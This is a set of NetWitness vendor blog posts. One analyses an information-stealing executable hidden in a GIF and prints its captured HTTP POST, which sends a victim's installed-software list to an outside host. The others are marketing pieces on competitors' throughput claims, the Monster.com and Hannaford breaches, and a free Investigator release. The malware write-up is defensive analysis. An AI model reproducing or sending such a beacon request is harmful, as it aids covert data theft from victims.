Hey gang…Alex here…writing from the NetWitness Labs…

At NetWitness, our focus is on providing analytics, and we are constantly looking at new ways to apply our unique analytics to the realm of content development.  We know that we have really cool technology and want to showcase that as well as push the envelope of what is possible in this space.   If you’ve seen the recent rule update on the freeware welcome page you are seeing the results of these efforts first hand.

If you’ve been following the threat landscape for the past few years, you will know without question that malware is a key part of both cybercrimal and nation-state hacking activity.   You also know that current security technologies are woefully inadequate in detecting targeted and obfuscated malware.  Keeping a network secure requires knowledge of normalcy on your network as well a cutting edge technology to quickly make you aware of deviations from this normalcy.

Part of this concept is using knowledge of what’s “normal” to define what’s “abnormal”.   In this example I’ll use windows executables.  We know from common IT knowledge that windows executables often end with an “.exe” extension (among others).   Those with a forensic background also know that Windows executables are forensically identifiable by looking for a file signature that includes common “tells”.   An example of this is the PE file header,  commonly refereed to as “MZ”.

If I take these existing bits of knowledge and combine them, I have the basis for a detection of “abnormal” executables as follows:

“If forensic signature equals windows executable,  but the file extension doesn’t equal a known executable extension, let me know about it!”

With this concept in mind, one of my extremely talented coworkers (Gary Golomb), put together a flex parser with the sole purpose of detecting file signatures on the wire.   Think of a forensic analysis of filetypes using a dedicated host forensic tool like Encase or Forensic Tool Kit, but on the network and in real-time.   We’ve been testing this parser in various scenarios as warranted, and recently made an interesting discovery while at a client site.

During this engagement, we began investigating hits on our “file signature windows executable” parser, which is designed to generate “alert” metadata in the NetWitness framework when it detects forensic executable tells.

Meet 343njpl.jpg:

One of the files that triggered this alert was the following file, which was downloaded from the “tinypic.com” file hosting service and was named 343njpl.jpg:

When I look at this file forensically,  I see an interesting inconsistency.   The file header identifies the file as a GIF, not a JPG.  Something is amiss!

Digging further…I see that there is, in fact, an executable file header buried in the file:

What’s interesting to note here, is that this file renders as a GIF correctly in a web browser, so if you were to wander across it during an investigation, it would not be readily apparent that it is hiding an executable.

With this new knowledge,  We then submitted the file to virustotal to determine if it is known malicious.   The results were not promising, with 3 detections out of 41:

http://www.virustotal.com/analisis/073a4210835e026712e5aa08e18004eabe9c8c4dc7b4565db47a34e38b565b8b-1258144380

At this point we really wanted to dig deeper and figure out what this file is trying to do,  so we opened the file in a hex editor and carved the EXE out of the file, then resubmitted to virustotal…results were much better this time, but still only about 65% with 27 out of 41 detections.

http://www.virustotal.com/analisis/0ccfe86dc2ab9cd8b9f589bae6666c903af8de2ee2bfcce4dc8464346b4e761a-1256743615

Ok…so we know that this file is indeed malicous now.  So what does it actually do?    If we use some malware analysis techniques, we discover that this initially reports installed applications to a webserver in the netherlands:

POST /65/logpl.php HTTP/1.1
Referer: http://google.com/
Content-Type: application/x-www-form-urlencoded
User-Agent: hello
Host: www2.sexown.com
Content-Length: 692
Cache-Control: no-cache

pl=plV:1.1|Adobe_Flash_Player_10_ActiveXV:10.0.22.87|Explorer_Suite_III|IDA_Pro_D
emo_v5.4|InstallWatch_Pro_2.5|Malcode_Analyst_Pack_v0.21|Microsoft_.NET_Framework
_3.5_SP1|Mozilla_Firefox_(3.5)V:3.5 (en-US)|Notepad++V:5.4.4|Paros_3.2.13|Windows
_XP_Service_Pack_3V:20080414.031525|WinPcap_4.1_beta5V:4.1.0.1452|Wireshark_1.2.0
V:1.2.0|Mandiant_Red_CurtainV:1.0.0|Python_2.6.2V:2.6.2150|Java(TM)_6_Update_14V:
6.0.140|WebFldrs_XPV:9.50.7523|Mandiant_Web_HistorianV:1.3.0|Mandiant_Highlighter
V:1.1.1|MemoryzeV:1.3.1000|Microsoft_.NET_Framework_3.0_Service_Pack_2V:3.2.30729
|Microsoft_.NET_Framework_2.0_Service_Pack_2V:2.2.30729|Microsoft_.NET_Framework_
3.5_SP1V:3.5.30729|VMware_ToolsV:7.9.6.5197|

So let’s review the facts:

- A file that strays from the expected norm is detected by NetWitness technology, being served from a common file hosting site.

- This file properly renders as a GIF in a web browser, but contains an embedded executable.

- Malware detection on this sample in its embedded form is dismal, but gets better when the executable is extracted from the GIF.

- Using behavioral analysis, we can determine that the attached executable is an information stealer, at the very least.

Tied to an alerting mechanism in Netwitness Informer, we could have this alert sent directly to an enterprise SOC for response, informing them of unusual executable behavior, without having to rely on signature-based malware controls!

NetWitness….letting you see your network like never before.  

I was at the CSI show yesterday and was within earshot of one of our “competitors” who claimed that they were winning against NetWitness because they support 10Gbps and we do not.   I have heard this story frequently from this particular firm, and it’s a bunch of bull.

It amazes me that companies in this space, such as Niksun and Solera Networks, spend so much time emphasizing how they allegedly can capture at 10Gbps line rates – as if that’s the most important requirement for public and private organizations struggling to cope with critical advanced threats, complex data leakage scenarios, network forensics, designer malware and botnet infestations, and increasing insider crime and fraud.

Solera Networks publicly asserts that their product was certified by Miercom Labs as 10Gbps capable.  If you look at the report on their Website, however (http://www.soleranetworks.com/resources/Solera%20DS5100_Miercom%20test.pdf), you will see that a top capture rate of 8.1 Gbps was achieved solely when the “packet size” was forced to 1,518 bytes.  At other packet sizes, the performance dropped off steadily.

The practical application of the Miercom report for Solera Networks is dubious in the real world.  For example, let’s assume that in Miercom’s vernacular “packet size” is equal to “message transmission unit” (MTU).  1,518 is the maximum MTU for the transmission of data over IEEE 802 networks according to RFC 1042.  But it is unrealistic to imagine that every consecutive packet on a customer network would be 1,518.  In fact, the typical default MTU setting for devices such as routers and servers processing a protocol such as HTTP over TCP/IP is 576 – most network and system administrators today work under this assumption.  In a real customer environment with a large amount of HTTP traffic, the Miercom numbers would put the theoretical Solera throughput somewhere around 6Gbps, versus the claimed 10Gbps.  Real life is different than the lab, however, and the reality is that customer application-layer traffic produces actual average MTUs of far less than 576, thereby lowering the potential performance results below the assertions made by some vendors to something more like an average MTU of 300 — or a throughput of around 3Gbps according to the Miercom results.

Such misleading lab reports also do not address other concerns, such as the technical challenges associated with capturing at a 10Gbps on single network appliance, given physical bus bandwidth constraints and disk write speed limitations — and still offering meaningful and timely analytics to security users.  Every vendor who is engineering solutions in this space has confronted this dynamic — but most vendors do not address this problem in their marketecture because they do not have a solution.

As the consumer of solutions in this space, you should be aware of this:   The reason this issue is not discussed in any meaningful way by some vendors is because they have no real-time automated and interactive analytical capability beyond basic and often erroneous network statistics.

Consider this screenshot from Solera Networks post-facto user console:

Notice specifically the port assumptions made by the product:

To assume in 2009 that TCP ports 80 and 443 are inclusive to web traffic simply is ridiculous.  Not only is this type of analysis absurd from a network forensics perspective, but also would seem at odds with the term “deep packet inspection”.  Consider the following drill into the HTTP service using NetWitness Investigator, on even a single day of capture from the NetWitness corporate HQ:

This screenshot represents only a small portion of the available information about the HTTP protocol.  This level of detail is possible because NetWitness does complete port agnostic session analysis in an automated real-time manner, upon collection.  You cannot get there from here with other vendors like Niksun and Solera Networks.  One of the vendor’s Websites says it most succinctly:

“Once you find the traffic flow you are looking for, you can download a PCAP file of just that data and analyze the traffic using any tool that analyzes PCAP files. Or you can save it for later and use it to analyze when you have time or need evidentiary proof of malicious activity.”

There are some pretty big and unfortunate “IF”s that customers should consider before engaging with any vendor operating under such assumptions:

1.  How do I actually go about “finding the traffic you are looking for” within tens or perhaps hundreds of terabytes of data in post-facto analysis?

2.  Why would I “save it for later” and “analyze it when you have time” when it could be something critical that requires immediate attention?  The assumption is that nothing here has a sense of urgency.

3.  Forget about real-time incident response, automated analytics, or integration with your SIEM or other existing security tools…not addressed.

4.  Your organization’s security staff still has to use NetWitness Investigator to satisfy the “analyze the traffic using any tool that analyzes PCAP files” requirement in order to use this vendor’s product — and that after finding both the haystack and the needle, which you would have found already had you been using NetWitness.

All this discussion highlights the value of working with NetWitness, an engineering company dedicated to solving the important problems of security professionals, law enforcement, intelligence analysts and other people focused on cyber security issues.  NetWitness offers a 10Gbps solution and it is running on some of the largest networks in the world — we’ve been doing it for a while — but we do it in a sensible way.  We do not go to market trying to sell you “disk write speeds” or “appliance capture rates” – that’s a waste of your money and should not be the most important focus for you.   Unlike anyone else in this space, we provide an infinitely extensible data framework, real-time automated analytics, live data fusion and threat intelligence, and the best network forensics interface in the market today.  Without all that, you are just filling up disk drives.

For the second time in 18 months, Monster.Com has suffered a massive security breach.  In both cases, user account information was stolen, along with the email addresses and names of job seekers.  When this happened in August of 2007, 1.3 Million accounts were taken when an employee of the company divulged his credentials via a Trojan Horse program.  Within days of that attack, users of Monster.com who had their account information stolen found they were victims of targeted malware phishing attacks and, since hackers assume Monster.Com users are out of a job, many were invited to become money laundering mules for criminal hacker organizations.

In the latest breach, Monster put a notice here on their website that says:

As is the case with many companies that maintain large databases of information, Monster is the target of illegal attempts to access and extract information from its database. We recently learned our database was illegally accessed and certain contact and account data were taken, including Monster user IDs and passwords, email addresses, names, phone numbers, and some basic demographic data. The information accessed does not include resumes. Monster does not generally collect – and the accessed information does not include – sensitive data such as social security numbers or personal financial data.

Immediately upon learning about this, Monster initiated an investigation and took corrective steps. It is important to know the company continually monitors for any illicit use of information in our database, and so far, we have not detected the misuse of this information.

Now let’s flash back to 2007 and their statement to the press regarding that breach:

Sal Iannuzzi, the company’s chairman and chief executive, said the company was improving its surveillance of how the site is used as well as limiting the way data can be accessed. Iannuzzi declined to provide specific details about how the new security measures will work, saying he didn’t want to make them vulnerable to potential hackers.

Whatever improvements were made in Monster’s network surveillance and security measures were not adequate to deal with the severity of the threats the organization is facing from sophisticated adversaries.  In light of this second breach, Monster should review what went wrong with their previous remediation plan and develop something better to help them identify data breaches quickly and lock down their customer records.  Monster, as many enterprises today, simply needs better and deeper visibility into their network traffic.

NetWitness NextGen provides a new paradigm for network security monitoring.  Full packet capture and session analysis provides the ultimate truth about data crossing the wire because you are dealing with ALL the data — not just signatures or statistics or scans.  Your security managers actually will know what types of information is crossing network interfaces, will better understand the risks of that data in motion, and can therefore make better decisions about reducing those risks.  And regardless of how the hacker tries to exfiltrate the data -  via the web, trojanized control port to the internal network, or a disgruntled insider- NetWitness helps you close the gaps.

For Monster users, please change your password on the site.  Other bloggers are reporting that usernames and passwords were stored in clear text.  If so, and you use the same username and passwords on other accounts, you may wish to change those credentials as well.

On monday of this week, we released Investigator 8.6, and we released it free.  I thought I would take to this poor, neglected blog and write some thoughts about it.  So far the reaction has been very positive.  It seems people like what they see, and we are very happy with the many blog posts, and positive feedback we are getting.  I thought I would answer some questions here directly.

The number one question from the press, blogs, and friends – was “Why?”

It would be easy to say that this is simply a good thing for the security community - and we wanted to contribute.  To be sure – there was a lot of that in our discussions.  But the truth is – we really don’t sell Investigator.  What we sell – are enterprise class, distributed network appliances that perform very high speed network capture, and all the analysis you see in Investigator — in real time — providing weeks and months of historic visibility.

Investigator – is simply the front end for that solution.  If you want to know what we do as a company, and what we sell — it is simple.  If you like what Investigator does on a gigabyte of packet captures – just imagine it working over 100 Terabytes or more.  Imagine having that power over every every bit and byte that has entered or left your network over the last month.  To be sure – there are reporting engines and alerting engines we sell that automate common analysis – but with Investigator you should get the idea of what we offer enterprise customers.

The number two question that we get – always seems to involve Wireshark, in some sort of competition skew.

Again – the simple truth is that the products are not competitive at all.  In fact, they work together to make both products better.  In the demonstration videos – I even show how easy it is to open sessions in wireshark.  We use wireshark every day.  And those of you who used to – will still use it.  What we hopefully let you do – is find those sessions that need to be looked at – 100 times faster than before.  Perhaps a thousand…  In the end - I bet wireshark developers will use Investigator as well.  The products compliment – not compete.

The next question is about registration.  It seems everyone thinks it is a bit cumbersome.

There are several reasons for this.  First – we are a small – private – commercial company.  We are not a charity, a think tank, or a group of cyber crime fighters.  So if we require people to register – it can help us see which industries we should be focusing on, and other marketing needs.  We are not going to be overzealous in this regard, but the information will help us be a better company.

Next – there are quite a few ways we have built in extensibility in the product.  From custom alert rules – to custom threat and intelligence feeds – to full on custom session protocol parsing – users of investigator can contribute by creating extensions.  I wanted – personally above all else as CTO - to get a community of users that are pushing the product forward.  That is why your registration also registers you for the community.  The video tutorial did not focus on this aspect yet – but I will extend it soon.  For now – if you are interested in those aspects – you will have to make do with the manuals and the community forums.

The last question - seems to be “Windows – Really?”

Well – remember – this is our front end client software to enterprise solutions.  We actually are working in the background to make the client more cross platform.  All of our enterprise solutions work on dedicated – very high speed, open Linux architectures.  As a small company – we can move faster by picking our battles with technology.  All of the database technology that we have written, all of the core components for processing and extracting data, essentially all of our core components – are all already cross platform.  When we have time – we will work on getting the UI components there as well.

In the end – we really hope you enjoy Investigator.  We hope it makes your jobs easier.  Please provide us feedback.  We will listen – and we will update often with new capabilities.

The recent public disclosures at Hannaford Bros of millions of credit card numbers lost to professional carder gangs again raises questions regarding the state of preparedness of retail security and other industries to protect customer data in the current cyber threat environment.  In the case of Hannaford, these gangs may have followed a pattern familiar to network forensics researchers with whom we work – a weak link in the security program is exploited as a foothold to open a command and control channel on the victim network.  After that, it is just a matter of time before critical POS servers or store terminals are Trojanized, and are automatically transmitting perfectly valid customer credit card numbers directly to carder gang members. 

The amount of ensuing punditry is astounding.  First, the horror and shock from some corners that PCI Standards did not prevent this debacle.  For good or bad, PCI was the credit card companies’ much needed attempt to enforce some level of basic information security on organizations with merchant accounts.  The security controls in PCI were designed years ago, and are focused on well-understood and documented threats and essential security practices.  But, PCI compliance, due to its very nature, is not going to provide adequate protection against a well-funded and committed professional adversary who can design specific malware to circumvent these basic security controls. 

There also have been calls to jettison PCI.  The premise in these statements is that if the card companies would simply take responsibility for the storage and security of credit card numbers from the moment of card-swiping forward, there would be no need for retailers to comply with some key aspects of PCI.  This position, while seemingly attractive at the surface from a security perspective, is untenable in a multi-trillion dollar consumer facing industry.  The reality is that the same architectural, procedural, technological, and financial constraints preventing retailers from adequately protecting their data in many cases will prevent the card companies from implementing the suggested changes. 

Having spent time with top retailers over the past several years, I can tell you that there are many very good security people working at these organizations, but with limited ability to get things done.  These I/T professionals would benefit greatly from two things:  1) A self-directed industry effort to develop voluntary, model security standards that would deal effectively with today’s actual threat environment, versus force them to follow check lists.  This process requires leadership, organization and resources; and 2) A greater focus on operational security efficacy.  PCI was only good in the sense that it jolted retailers to focus on “Security 101” but it is not the end – simply a catalyst.  Retailers and other industries that handle PII now must take matters in their own hands and move beyond PCI and other regulations to recognize that today’s threat environment requires a deeper degree of security monitoring and network visibility, especially at the application layer.   

You can’t get this visibility from once-a-quarter scanning, annual audits, or even from most of the perimeter sensors deployed today.  If you are not doing full packet capture and session analysis with NetWitness you will miss indications and warnings of these TJX and Hannafords-like problems, and also will lack the evidence to figure out the scope and damage of the incident.   – Eddie Schwartz